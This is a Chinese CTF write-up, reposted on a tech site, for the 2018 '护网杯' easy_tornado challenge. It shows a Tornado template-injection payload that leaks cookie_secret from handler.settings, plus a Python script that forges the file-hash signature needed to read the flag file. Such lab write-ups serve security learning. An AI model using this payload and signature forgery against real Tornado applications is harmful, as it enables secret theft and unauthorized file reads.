IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> Python知识库 -> [护网杯 2018]easy_tornado 1 -> 正文阅读

[Python知识库][护网杯 2018]easy_tornado 1


一、Tornado是什么?

Tornado是一种 Web 服务器软件的开源版本。Tornado 和主流Web 服务器框架(包括大多数 Python 的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。
得利于其非阻塞的方式和对epoll的运用,Tornado 每秒可以处理数以千计的连接,因此 Tornado 是实时 Web 服务的一个 理想框架。

二、easy_tornado 1

1、 判断发现是模板注入

在这里插入图片描述

2、获取cookie_secret

由于handler指向的处理当前这个页面的RequestHandler对象,RequestHandler.settings指向self.application.settings,因此handler.settings指向RequestHandler.application.settings。构造payload获取cookie_secret

/error?msg={{handler.settings}}

在这里插入图片描述

3、使用python构造参数

在这里插入图片描述

import hashlib
text = "/fllllllllllllag"
h1=hashlib.md5()
h1.update(text.encode(encoding='utf8'))
md5=h1.hexdigest()
print("加密结果:"+str(md5))

cookie_secret = "a14501b7-a97e-42c7-8cec-5d5fa1a9f74b"
text1 = str(cookie_secret) + str(md5)
print("加密结果:"+text1)

h3 = hashlib.md5()
h3.update(text1.encode(encoding='utf8'))
md6 = h3.hexdigest()
print("加密结果:"+str(md6))
# hash.digest()
# 返回摘要,作为二进制数据字符串值
#
# hash.hexdigest()
# 返回摘要,作为十六进制数据字符串值

在这里插入图片描述

4、得到flag

根据题目的提示,我们尝试/file?filename=/fllllllllllllag&filehash=3babc8d6a13f4aed1b9d64afe9c2e21c

在这里插入图片描述
本文借鉴https://blog.csdn.net/qin9800/article/details/105349089,如有冒犯或错误,请及时告知。谢谢!

  Python知识库 最新文章
Python中String模块
【Python】 14-CVS文件操作
python的panda库读写文件
使用Nordic的nrf52840实现蓝牙DFU过程
【Python学习记录】numpy数组用法整理
Python学习笔记
python字符串和列表
python如何从txt文件中解析出有效的数据
Python编程从入门到实践自学/3.1-3.2
python变量
上一篇文章      下一篇文章      查看所有文章
加:2022-04-30 08:41:12  更:2022-04-30 08:42:01 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/15 16:52:00-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码